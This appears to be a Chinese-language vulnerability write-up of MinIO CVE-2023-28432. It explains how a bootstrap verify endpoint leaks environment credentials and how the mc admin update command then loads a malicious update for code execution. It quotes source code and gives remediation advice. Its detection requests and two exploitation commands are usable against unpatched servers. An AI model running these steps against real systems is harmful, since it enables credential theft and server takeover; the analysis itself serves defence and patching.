Minio从信息泄露到RCE漏洞分析(CVE-2023-28432)
字数 1326 2025-08-24 16:48:06
Minio从信息泄露到RCE漏洞分析(CVE-2023-28432)教学文档
漏洞概述
Minio是一个基于Go语言的对象存储服务,实现了大部分亚马逊S3云存储服务接口。该漏洞涉及两个关键问题:
- 敏感信息泄露漏洞:通过特殊URL可读取系统敏感信息
- 远程代码执行(RCE)漏洞:利用泄露的凭证可执行任意代码
受影响版本
版本号小于RELEASE.2023-03-20T20-16-18Z的Minio实例
漏洞检测
版本检测
发送HTTP请求检测版本:
GET /api/v1/check-version HTTP/1.1
如果响应中版本号小于RELEASE.2023-03-20T20-16-18Z则存在漏洞
信息泄露检测
发送POST请求验证信息泄露:
POST /minio/bootstrap/v1/verify HTTP/1.1
漏洞利用流程
- 获取敏感信息:通过信息泄露接口获取环境变量和配置
- 提取凭证:从泄露信息中获取管理员凭证
- 设置恶意升级URL:使用Minio客户端配置恶意更新源
- 触发更新:强制Minio从恶意源更新并执行代码
具体步骤:
# 1. 设置Minio别名(使用泄露的凭证)
mc alias set myminio http://ip:9000 user_R3s3arcm pwd_R3s3arcm
# 2. 触发恶意更新
mc admin update myminio -y
漏洞分析
信息泄露部分
- 路由注册:在
cmd/routers.go中注册了bootstrap相关路由
router := mux.NewRouter().SkipClean(true).UseEncodedPath()
- bootstrap路径定义:
cmd/bootstrap-peer-server.go中定义了相关路径
const (
bootstrapRESTVersion = "v1"
bootstrapRESTVersionPrefix = SlashSeparator + bootstrapRESTVersion
bootstrapRESTPrefix = minioReservedBucketPath + "/bootstrap"
bootstrapRESTPath = bootstrapRESTPrefix + bootstrapRESTVersionPrefix
)
- VerifyHandler处理函数:泄露服务器配置
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
ctx := newContext(r, w, "VerifyHandler")
cfg := getServerSystemCfg()
logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
- getServerSystemCfg函数:获取环境变量信息
func getServerSystemCfg() ServerSystemConfig {
envs := env.List("MINIO_")
envValues := make(map[string]string, len(envs))
for _, envK := range envs {
if _, ok := skipEnvs[envK]; ok {
continue
}
envValues[envK] = env.Get(envK, "")
}
return ServerSystemConfig{
MinioEndpoints: globalEndpoints,
MinioEnv: envValues,
}
}
- 跳过的环境变量:部分敏感变量被跳过
var skipEnvs = map[string]struct{}{
"MINIO_OPTS": {},
"MINIO_CERT_PASSWD": {},
"MINIO_SERVER_DEBUG": {},
"MINIO_DSYNC_TRACE": {},
}
RCE部分
- 更新验证失效:
envMinisignPubKey为空导致sha256sum校验失效
minisignPubkey := env.Get(envMinisignPubKey, "")
if minisignPubkey != "" {
// 验证逻辑
}
- 更新处理入口:
cmd/admin-handlers.go中的更新处理
// ServerUpdateHandler - POST /minio/admin/v3/update?updateURL={updateURL}
for _, nerr := range globalNotificationSys.VerifyBinary(ctx, u, sha256Sum, releaseInfo, reader) {
// 错误处理
}
err = verifyBinary(u, sha256Sum, releaseInfo, mode, reader)
修复建议
- 升级到RELEASE.2023-03-20T20-16-18Z或更高版本
- 修改默认管理员凭证
- 限制/minio/bootstrap/v1/verify接口的访问
参考链接
- Minio GitHub仓库: https://github.com/minio/minio
- 漏洞相关代码:
- main.go: https://github.com/minio/minio/blob/RELEASE.2023-03-13T19-46-17Z/main.go
- routers.go: https://github.com/minio/minio/blob/RELEASE.2023-03-13T19-46-17Z/cmd/routers.go
- bootstrap-peer-server.go: https://github.com/minio/minio/blob/RELEASE.2023-03-13T19-46-17Z/cmd/bootstrap-peer-server.go
- update.go: https://github.com/minio/minio/blob/RELEASE.2023-03-13T19-46-17Z/cmd/update.go
- admin-handlers.go: https://github.com/minio/minio/blob/6017b63a0612daa0ab9ef87804a57b899766bb9c/cmd/admin-handlers.go